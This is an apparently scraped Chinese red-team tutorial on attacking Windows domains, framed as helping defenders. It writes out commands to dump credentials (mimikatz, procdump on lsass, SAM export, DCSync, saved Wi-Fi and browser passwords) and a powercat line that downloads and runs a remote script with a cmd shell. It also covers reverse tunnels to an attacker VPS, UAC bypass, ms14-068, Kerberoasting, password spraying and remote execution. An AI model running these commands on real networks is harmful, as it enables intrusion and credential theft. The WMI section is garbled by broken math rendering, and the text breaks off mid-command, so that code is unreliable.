内网渗透-Windows内网渗透

内网渗透-Windows内网渗透

文章目录
  • 内网渗透-Windows内网渗透
  • 前言
  • 一、信息收集
    • 1.1、SPN
    • 1.2、端口连接
    • 1.3、配置文件
    • 1.4、用户信息
    • 1.6、会话收集
    • 1.7、凭据收集
      • navicat:
      • SecureCRT:
      • Xshell:
      • WinSCP:
      • VNC:
    • 1.8、DPAPI
    • 1.9、域信任
    • 1.10、域传送
    • 1.11、DNS记录获取
    • 1.12、WIFI
    • 1.13、GPP
    • 1.14、Seatbelt
    • 1.15、Bloodhound
    • 1.16、Exchange
      • 1.16.1 邮箱用户密码爆破
    • 1.16.3 信息收集
  • 二、传输通道
    • 2.1、是否出网
    • 2.2、netsh
    • 2.3、ssh
    • 2.4、reGeorg
    • 2.5、EarthWorm
    • 2.6、lcx
    • 2.7、powercat
    • 2.8、mssql
  • 三、权限提升
    • 3.1、UAC
    • 3.2、ms14-068
  • 四、密码获取
    • 4.1、ntlmhash和net-ntlmhash
    • 4.2、本地用户凭据
    • 4.3、域hash
    • 4.4、token窃取
    • 4.5、Kerberoasting
    • 4.6、密码喷射
    • 4.7、LAPS
  • 五、横向移动
    • 5.2、PTH
      • 5.2.1 impacket套件
      • 5.2.2 Invoke-TheHash套件
      • 5.2.3 mimikatz
      • 5.3、NTLM-Relay
      • 5.3.1 LLMNR
      • 5.3.2 WPAD
    • 5.4、域信任
    • 5.5、攻击Kerberos
      • 5.5.1 PTT
        • 5.5.1.1 金票据
        • 5.5.1.2 银票据
        • 5.5.1.3kekeo
    • 5.5.2委派
        • 5.5.2.1 基于资源的约束委派
        • 5.5.2.2非约束委派
        • 5.5.2.3 约束委派
  • 六、域维权
    • 6.1、DSRM
    • 6.2、GPO
    • 6.3、SSP
    • 6.4、Skeleton Key
    • 6.5、HookPasswordChangeNotify
  • 七、免杀处理
    • 7.1、Powershell
    • 7.2、抓密码工具免杀
    • 7.3、源码免杀
    • 7.4、白名单免杀
  • 总结

前言

无论是渗透测试,还是红蓝对抗,目的都是暴露风险,促进提升安全水平。企业往往在外网布置重兵把守,而内网防护相对来说千疮百孔,所以渗透高手往往通过攻击员工电脑、外网服务、职场WiFi等方式进入内网,然后发起内网渗透。而国内外红蓝对抗服务和开源攻击工具大多数以攻击Windows域为主,主要原因是域控拥有上帝能力,可以控制域内所有员工电脑,进而利用员工的合法权限获取目标权限和数据,达成渗透目的。

本文以红队攻击视角,介绍常用的Windows内网渗透的手法,包括信息收集、传输通道、权限提升、密码获取、横向移动、权限维持、免杀处理,主要让大家了解内网渗透到手法和危害,以攻促防,希望能给安全建设带来帮助。

{全文内容较长1.4万字,阅读时长15分钟}

一、信息收集

在攻陷一台机器后,不要一味的直接去抓取机器密码、去做一些扫描内网的操作,因为如果网内有IDS等安全设备,有可能会造成报警,丢失权限。本节主要介绍当一台内网机器被攻破后,我们收集信息的一些手法。

1.1、SPN

SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。

a、利用Windows自带的setspn工具,普通域用户权限执行即可:
setspn -T domain.com -Q /
在这里插入图片描述
在上述截图中可以清晰的看到DCServer机器上运行了dns服务。如果网内存在mssql,利用SPN扫描也可以得到相应的结果。

b、利用GetUserSPNs.vbs也可以获取spn结果:
在这里插入图片描述
c、Rubeus工具是Harmj0y开发用于测试Kerberos的利用工具。
如下图利用Rubeus查看哪些域用户注册了SPN,也为后续Kerberoasting做准备:
在这里插入图片描述

1.2、端口连接

利用netstat -ano命令获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。

1.3、配置文件

一个正常的Web应用肯定有对应的数据库账号密码信息,是一个不错的宝藏。

可以使用如下命令寻找包含密码字段的文件:

cd /web
findstr /s /m “password” .

下面是常用应用的默认配置路径:

a、
Tomcat:
CATALINA_HOME/conf/tomcat-users.xml

b、
Apache:
/etc/httpd/conf/httpd.conf

c、
Nginx:
/etc/nginx/nginx.conf

d、
Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf

e、
Mysql:
mysql\data\mysql\user.MYD

1.4、用户信息

可以在网内收集用户等信息,对高权限用户做针对性的攻击,包括定位到域控,对域控发起攻击。

a、查看域用户,普通域用户权限即可:
net user /domain
在这里插入图片描述
b、查看域管理员:
net group “domain admins” /domain
在这里插入图片描述
c、快速定位域控ip,一般是dns、时间服务器:
net time /domain
在这里插入图片描述
在这里插入图片描述
nslookup -type=all_ldap._tcp.dc._msdcs.jumbolab.com
在这里插入图片描述
d、查看域控制器:
net group “domaincontrollers” /domain
在这里插入图片描述
1.5、内网主机发现
可以使用如下命令来达到内网主机的发现。

a、查看共享资料:

net view

b、查看arp表:

arp -a

c、查看hosts文件:

linux:
cat /etc/hosts

windows:
type c:\Windows\system32\drivers\etc\hosts

d、查看dns缓存:

ipconfig /displaydns

在这里插入图片描述
e、当然,利用一些工具也可以,比如nmap、nbtscan:
在这里插入图片描述

1.6、会话收集

在网内收集会话,如看管理员登录过哪些机器、机器被谁登录过,这样攻击的目标就会清晰很多。

可以使用NetSessionEnum api来查看其他主机上有哪些用户登录。
api相关介绍如下:
https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum
利用powershell脚本PowerView为例。

a、可以查看域用户登录过哪些机器:

在这里插入图片描述
b、也可以查看机器被哪些用户登陆过:
在这里插入图片描述
其他工具、api类似。当有了上述信息后,就可以对发现到的域管或者登录着域管的机器进行攻击,只要能拿下这些机器,就可以有相应的权限去登录域控。

1.7、凭据收集

拿下一台机器后,需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址,可以根据算法去解密保存的账号密码。

比如远程连接凭据:
cmdkey/list

navicat:

MySQL

HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<your connection name>

MariaDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<your connection name>

MongoDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<your connection name>

Microsoft SQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<your connection name>

Oracle

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<your connection name>

PostgreSQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<your connection name>

SQLite

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<your connection name>

SecureCRT:

xp/win2003

C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions

win7/win2008以上

C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

Xshell 5

%userprofile%\Documents\NetSarang\Xshell\Sessions

Xshell 6

%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

WinSCP:

HKCU\Software\Martin Prikryl\WinSCP 2\Sessions

VNC:

RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
Password

TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value
Password or PasswordViewOnly

TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
Password

UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini
passwd or passwd2

1.8、DPAPI

DPAPI,由微软从Windows 2000开始发布,称为Data ProtectionApplication Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函CryptUnprotectData 。
其作用范围包括且不限于:
outlook客户端密码
windowscredential凭据
chrome保存的密码凭据
internetexplorer密码凭据

DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为Master Key Files,其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。

我们可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。

相关的介绍如下:
https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection
在渗透中,可以利用mimikatz做到自动化的数据解密:

a、解密Chrome密码:

mimikatz dpapi::chrome /in:“%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect

b、解密Credential:

mimikatz vault::cred /patch

1.9、域信任

信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

查看域信任:

nltest /domain_trusts

在这里插入图片描述
上述结果显示child.jumbolab.com和jumbolab.com两个域是双向信任的。

1.10、域传送

当存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。
windows:

nslookup -type=ns domain.com
nslookup
sserver dns.domain.com
ls domain.com

linux:

dig @dns.domain.com axfr domain.com

1.11、DNS记录获取

在网内收集dns记录,可以快速定位一些机器、网站。常用工具有Dnscmd、PowerView。

a、在windows server上,可以使用Dnscmd工具获取dns记录。
获取dns记录:

Dnscmd. /ZonePrint jumbolab.com

在这里插入图片描述

Dnscmd. /EnumRecords jumbolab.com .
在这里插入图片描述
b、在非windows server机器上,可以使用PowerView获取。

import-module PowerView.ps1
Get-DNSRecord -ZoneName jumbolab.com

在这里插入图片描述

1.12、WIFI

通过如下命令获取连接过的wifi密码:

for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

1.13、GPP

当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。

其中xml中的密码是aes加密的,密钥已被微软公开:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN

可以使用相关脚本进行解密,如:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

域用户登录脚本存在目录也会存在敏感文件:

\domain\Netlogon

1.14、Seatbelt

可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等:
在这里插入图片描述
当有了chrome的访问历史时,就可以知道该用户访问的一些内部站点的域名/IP,可以提高内网资产产的摸索效率。

1.15、Bloodhound

我们可以利用Bloodhound做一些自动化的信息收集,包括用户、计算机、组织架构、最快的攻击途径等。但是自动化也意味着告警,该漏洞做自动化信息收集时,会在内网设备上产生大量的告警,按需使用。
执行:

SharpHound.exe -c all

运行完毕会生成一个zip压缩包,名字类似于20200526201154_BloodHound。
导入Bloodhound后可以做可视化分析:
在这里插入图片描述
比较常用的就是寻找攻击域控的最快途径了:
在这里插入图片描述
如下图,我们知道,如果拿下hand用户后,就可以获取到域控权限:
在这里插入图片描述

1.16、Exchange

exchange一般都在域内的核心位置上,包括甚至安装在域控服务器上,因此我们需要多多关注exchange的相关漏洞,如果拿下exchange机器,则域控也不远了。

1.16.1 邮箱用户密码爆破

使用ruler工具对owa接口进行爆破:

./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt

ruler工具会自动搜索owa可以爆破的接口,如:

https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml

其他如ews接口也存在被暴力破解利用的风险:

https://mail.targetdomain.com/ews

1.16.2 通讯录收集
在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定:

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt

1.16.3 信息收集

当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。

获取所有邮箱用户:

Get-Mailbox

导出邮件:

New-MailboxexportRequest -mailbox username -FilePath (“\localhost\c$\test\username.pst”)

也可以通过web口导出,登录:

https://mail.domain.com/ecp/

导出后会有记录,用如下命令可以查看:

Get-MailboxExportRequest

删除某个导出记录:

Remove-MailboxExportRequest -Identity ‘username\mailboxexport’ -Confirm:$false

二、传输通道

在做完信息收集后,为了方便进一步内网渗透,一般都会建立一个通道,甚至是多级跳板。

2.1、是否出网

可以用以下命令判断:
ping
icmp
curl
http
nslookup
dns

2.2、netsh

netsh是windows自带的命令,可以允许修改计算机的网络配置。也可以被拿来做端口转发。
A机器执行如下命令:

netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp

B机器访问A机器的5555端口,即是192.168.1.1的3389端口

2.3、ssh

ssh一般被拿来登录linux机器,也可以拿来做代理和转发。

  • a、开启socks代理:

ssh -qTfnN -D 1111root@1.1.1.1
输入1.1.1.1机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理1.1.1.1的网络。

  • b、控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C:

A机器执行:
ssh -CNfg -L 2121:CIP:21 root@BIP
输入BIP机器密码,访问A的2121端口即是访问CIP的21端口。

  • c、控制A机器,A能够访问B:

A机器执行:
ssh -CNfg -R 2121:BIP:21 root@hackervps
输入黑客vps密码,访问黑客vps的2121端口即是访问BIP的21端口。

2.4、reGeorg

reGeorg是一款开源的socks代理软件,可以解决当机器不出网时,使用http代理进入内网。

根据网站支持的语言,把相应的tunnel.xx传到服务器上,访问tunnel.xx显示“Georg says, ‘All seems fine’”,说明基本ok。

本地运行:
pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx
利用proxychains等类似工具连接本地的9999端口的sock5连接即可代理1.1.1.1的网络。

2.5、EarthWorm

EarthWorm是一款用于开启SOCKS v5代理服务的工具,基于标准C开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

  • a、受害者机器有外网ip并可直接访问:

把ew传到对方服务器上,执行:
./ew -s ssocksd -l 8888

现在本地利用proxychains等类似工具连接本地的对方服务器的8888端口的sock5连接即可代理对方的网络。

  • b、控制A机器,A能够访问B,通过A访问B:

在自己外网服务器上执行:
./ew -s rcsocks -l 1080 -e 8888

对方服务器执行:
./ew -s rssocks -d yourvpsip -e 8888

利用proxychains等类似工具可通过连接你的外网vps的1080 端口的socks5,即可代理受害者服务器的网络。

  • c、控制A、B机器,A能够访问B,B能够访问C,A有外网ip并可直接访问,通过A来使用B的流量访问C:

B机器执行:
./ew -s ssocksd -l 9999

A机器:
./ew -s lcx_tran -l 1080 -f BIP -g 9999
利用proxychains等类似工具可通过连接A的1080 端口的socks5,即可代理B服务器的网络。

  • d、控制A、B机器,A能够访问B,B能够访问C,A没有外网ip,通过A连接自己的外网vps来使用B的流量访问C:

自己vps执行:
./ew -s lcx_listen -l 1080 -e 8888

B机器执行:
./ew -s ssocksd -l 9999

A机器执行:
./ew -s lcx_slave -d vpsip -e 8888 -f BIP -g 9999
利用proxychains等类似工具可通过连接你自己的vps的1080 端口的socks5,即可代理B服务器的网络。

2.6、lcx

lcx是一款轻便的端口转发工具。

  • a、反向转发

外网VPS机器监听:
lcx.exe -listen 1111 2222

受害者机器执行:
lcx.exe -slave VPSip 1111 127.0.0.1 3389
连接外网VPS机器的2222端口即是连接受害者机器的3389。

  • b、正向转发

A机器执行:
lcx.exe -tran 1111 2.2.2.2 8080
访问A机器的1111端口即是访问2.2.2.2的8080端口。

2.7、powercat

powercat是一款ps版nc。可以本地执行,也可以远程下载执行,远程执行命令如下:

powershell"IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’);powercat-l -p 8000 -e cmd"

然后远程连接执行命令即可。如果嫌弃该命令太暴露,可以对其进行编码。

2.8、mssql

当目标机器只开放mssql时,我们也可以利用mssql执行clr作为传输通道。
环境如下:
在这里插入图片描述
工具项目地址:
https://github.com/blackarrowsec/mssqlproxy

三、权限提升

明明是administrator权限,为什么有些命令执行不了?拿到一个普通的域用户权限后,如何拿到域控权限?继续往下看。

3.1、UAC

UAC,即用户账户控制,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。在系统上直观看起来类似于这样:
在这里插入图片描述
那如何寻找bypass uac的方法呢。我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

以高权限运行的进程图标一般有如下标志:
在这里插入图片描述
我们win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有uac提醒),
在这里插入图片描述
我们利用ProcessMonitor对该进程的行为做一个监听:

先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute
在这里插入图片描述
因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd:在这里插入图片描述
对了,当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。

3.2、ms14-068

该漏洞可以在只有一个普通域用户的权限时,获取到域控权限。微软已经修复了该漏洞,对应的补丁号为kb3011780。下面介绍下漏洞的成因,先来一个Kerberos协议流程图:
在这里插入图片描述
大致流程如下:
1、域用户登录时,向KDC的AS服务以自身密码加密的时间戳进行预认证;
2、域控的AS服务验证用户的密码是否正确。验证通过后,返回给用户一张TGT票据,该票据为krbtgt密码加密而成;
3、域用户拿着TGT向KDC的TGS服务申请访问Application Server的票据
4、域控的TGS服务验证TGT通过后,返回给域用户能够访问Application Server的票据,即ST,ST以Application Server的服务账号密码加密;
5、域用户拿着ST访问对应的Application Server;
6、Application Server验证ST,决定成功与否。

下面简述ms14-068的问题所在:
TGT中作为用户凭证,包含了用户名、用户id、所属组等信息,即PAC。简单点讲,PAC就是验证用户所拥有权限的特权属性证书。
默认PAC是包含在TGT中的,而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PAC(include-PAC为false),然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中,KDC会解密PAC并加密到一个新的TGT中(正常应该返回一个ST)并返回给用户,此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。

利用方法:
在这里插入图片描述
mimikatz.exe “kerberos::ptc TGT_user@domain.ccache” exit

也可以使用goldenPac.py来达到ms14-068+psexec的自动化利用:

goldenPac.py domain.com/username:password@dc.domain.com

四、密码获取

密码抓取已经成为渗透中必不可少的一项技能。一个管理员很可能管理着N多台机器,但是密码使用的都是同一个或者是有规律的。如果抓到一台机器的密码,利用同密码碰撞,很可能这个渗透项目就结束了。本节主要介绍密码抓取的原理和一些手段。

4.1、ntlmhash和net-ntlmhash

我们经常看到的hash长这样:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

他的组成就是:
user:sid:lmhash:ntlmhash

lmhash的加密流程如下:

1、密码长度限制为14个字符
2、密码全部转换为大写
3、密码转换为16进制字符串,不足14字节用0补全
4、密码的16进制字符串被分成两个7byte部分
5、再分7bit为一组,每组末尾加0,再组成一组
6、上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。
7、将加密后的两组拼接在一起,得到最终LM HASH值。

为了解决lmhash强度不够的问题,微软推出了ntlmhash:
1、先将用户密码转换为十六进制格式。
2、将十六进制格式的密码进行Unicode编码。
3、使用MD4对Unicode编码数据进行Hash计算
因为在vista后不再支持lmhash,因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee
在hash传递攻击时,可以替换成0:
00000000000000000000000000000000

再看下ntlm认证的过程:
在这里插入图片描述
他的简述流程如下:
1、客户端向服务端发起认证
2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功。
上述中的response类似于下面这样:
在这里插入图片描述
上述中的response就可以理解为net-ntlmhash,因此ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和relay。

4.2、本地用户凭据

在windows上,C:\Windows\System32\config目录保存着当前用户的密码hash。我们可以使用相关手段获取该hash。

使用reg命令获取本地用户凭据hash:

reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

最后利用bootkey解密获取hash。
在这里插入图片描述
其他一些工具同理,比如
pwdump7:
在这里插入图片描述
mimikatz:

privilege::debug
token::elevate
lsadump::sam

在这里插入图片描述
当然,从lsass.exe中获取也可以。如直接使用mimikatz获取:

privilege::debug
sekurlsa::logonpasswords
在这里插入图片描述
Procdump+Mimikatz:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full” exit

而为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。用户可以选择将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential更改为0来禁用。

它在winserver 2012 R2及以上版本已默认集成。在winserver 2012R2上面测试,手动添加上述注册表的值为1,然后抓密码,发现只有wdigest能抓到明文密码了:
在这里插入图片描述
再提一下kb2871997补丁问题,除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。

4.3、域hash

当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为ntds.dit被占用,因此需要利用如卷影备份等手段copy出ntds.dit,然后利用如NTDSDumpEx.exe解析hash:
在这里插入图片描述
当拷贝ntds.dit时,由于网络、文件大小等问题,可以使用DRS协议获取hash凭据:

mimikatz.exe privilege::debug “lsadump::dcsync /domain:jumbolab.com /all /csv” exit

在这里插入图片描述
有时为什么能抓到明文密码,有时并不能呢,除了上面说的kb2871997的问题以外,还有个“Reversible Encryption”。
在这里插入图片描述

4.4、token窃取

token是一个描述进程或线程安全上下文的对象。token即令牌包括了与进程或线程关联的用户账号的标识和特权,当用户登录时,系统通过将用户密码与安全数据库进行比对来验证用户密码正确性,如果密码正确,系统将生成访问token。该用户的进程都携带该token,可以利用DuplicateTokenEx api对现有token的复制,然后使用CreateProcessWithToken api对复制的token创建一个新的进程。效果如下:
有个system权限进程:
在这里插入图片描述
当然,降权也可以使用上述方法。

4.5、Kerberoasting

在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。

在上述SPN信息收集中得到一个域用户test注册了一个SPN,我们请求TGS:

powershell
$SPNName = ‘test/test’
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName、

在这里插入图片描述

再利用mimikatz导出:
kerberos::list /export
在这里插入图片描述
然后利用tgsrepcrack暴力破解:

python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test~test-JUMBOLAB.COM.kirbi

最终成功获取该域用户密码:
在这里插入图片描述

4.6、密码喷射

弱口令,永远改不完。在内网中,也可以尝试对smb、3389、mssql弱口令进行密码暴力破解,但是要注意线程,密码数不要太多。当然,也可以使用不同账号,同个密码进行尝试。这里使用kerbrute对域用户/密码进行暴力破解:
爆破用户:

kerbrute userenum -d jumbolab.com usernames.txt

在这里插入图片描述
密码喷射:

kerbrute passwordspray -d jumbolab.com username.txt aA1234567

在这里插入图片描述

4.7、LAPS

LocalAdministrator Password Solution是密码解决方案,为了防止一台机器被抓到密码后,然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患,当我们拿下域控时,可以查看计算机本地密码;当权限配置不当时,也会导致其他用户有权限查看他人计算机本地密码:

powershell
Get-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd

如果安装LAPS,在安装的软件列表里能看到:
在这里插入图片描述

五、横向移动

当我们获取到机器的账号密码的时候,可以尝试用以下几种方式进行连接并执行命令。

  • a、IPC
    net use \1.1.1.1\ipc$ “password” /user:username

  • b、Psexec
    用服务启动的方式:

psexec \target -accepteula -u username -p password cmd.exe
psexec.py jumbolab.com/administrator@172.16.127.184

  • c、WMI
    方法一

wmic /user:“jumbolab.com\win7user” /password:“password” /node:172.16.127.184 process call create “notepad”

方法二

Invoke-WmiMethod -class win32_process -name create -argumentlist ‘notepad’ -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’

方法三

$filterName = ‘BotFilter82’
$consumerName = ‘BotConsumer23’
$exePath = ‘C:\Windows\System32\notepad.exe’
$Query = “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’”
KaTeX parse error: Expected group after '_' at position 42: …d group after '_̲' at position 4…filterName;EventNameSpace=“root\cimv2”;QueryLanguage=“WQL”;Query=$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’
KaTeX parse error: Undefined control sequence: \subscription at position 48: …trol sequence: \̲s̲u̲b̲s̲c̲r̲i̲p̲t̲i̲o̲n̲ ̲at position 86:…consumerName;ExecutablePath=

      e 
     
    
      x 
     
    
      e 
     
    
      P 
     
    
      a 
     
    
      t 
     
    
      h 
     
    
      ; 
     
    
      C 
     
    
      o 
     
    
      m 
     
    
      m 
     
    
      a 
     
    
      n 
     
    
      d 
     
    
      L 
     
    
      i 
     
    
      n 
     
    
      e 
     
    
      T 
     
    
      e 
     
    
      m 
     
    
      p 
     
    
      l 
     
    
      a 
     
    
      t 
     
    
      e 
     
    
      = 
     
    
   
     exePath;CommandLineTemplate= 
    
   
 </span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.8889em; vertical-align: -0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">e</span><span style="margin-right: 0.1389em;" class="mord mathnormal">P</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mpunct">;</span><span class="mspace" style="margin-right: 0.1667em;"></span><span style="margin-right: 0.0715em;" class="mord mathnormal">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">mman</span><span class="mord mathnormal">d</span><span class="mord mathnormal">L</span><span class="mord mathnormal">in</span><span class="mord mathnormal">e</span><span style="margin-right: 0.1389em;" class="mord mathnormal">T</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span style="margin-right: 0.0197em;" class="mord mathnormal">pl</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">=</span></span></span></span></span>exePath} -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’<br> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “root\subscription” -Arguments @{Filter=<span class="katex--inline"><span class="katex"><span class="katex-mathml"> 
  
   
    
    
      W 
     
    
      M 
     
    
      I 
     
    
      E 
     
    
      v 
     
    
      e 
     
    
      n 
     
    
      t 
     
    
      F 
     
    
      i 
     
    
      l 
     
    
      t 
     
    
      e 
     
    
      r 
     
    
      ; 
     
    
      C 
     
    
      o 
     
    
      n 
     
    
      s 
     
    
      u 
     
    
      m 
     
    
      e 
     
    
      r 
     
    
      = 
     
    
   
     WMIEventFilter;Consumer= 
    
   
 </span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.8889em; vertical-align: -0.1944em;"></span><span style="margin-right: 0.1389em;" class="mord mathnormal">W</span><span style="margin-right: 0.109em;" class="mord mathnormal">M</span><span style="margin-right: 0.0785em;" class="mord mathnormal">I</span><span style="margin-right: 0.0576em;" class="mord mathnormal">E</span><span style="margin-right: 0.0359em;" class="mord mathnormal">v</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span style="margin-right: 0.1389em;" class="mord mathnormal">tF</span><span class="mord mathnormal">i</span><span class="mord mathnormal">lt</span><span style="margin-right: 0.0278em;" class="mord mathnormal">er</span><span class="mpunct">;</span><span class="mspace" style="margin-right: 0.1667em;"></span><span style="margin-right: 0.0715em;" class="mord mathnormal">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span style="margin-right: 0.0278em;" class="mord mathnormal">er</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">=</span></span></span></span></span>WMIEventConsumer}</p> 

  • d、Schtasks

schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru “SYSTEM” /tn “windowsupdate” /sc DAILY /tr “calc” /F

schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate

  • e、AT

at \1.1.1.1 15:15 calc

  • f、SC

sc \1.1.1.1 create windowsupdate binpath= “calc”
sc \1.1.1.1 start windowsupdate

  • g、REG

reg add \1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d “calc”

  • h、DCOM
    方法一

$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,“1.1.1.1”))

      c 
     
    
      o 
     
    
      m 
     
    
      . 
     
    
      D 
     
    
      o 
     
    
      c 
     
    
      u 
     
    
      m 
     
    
      e 
     
    
      n 
     
    
      t 
     
    
      . 
     
    
      A 
     
    
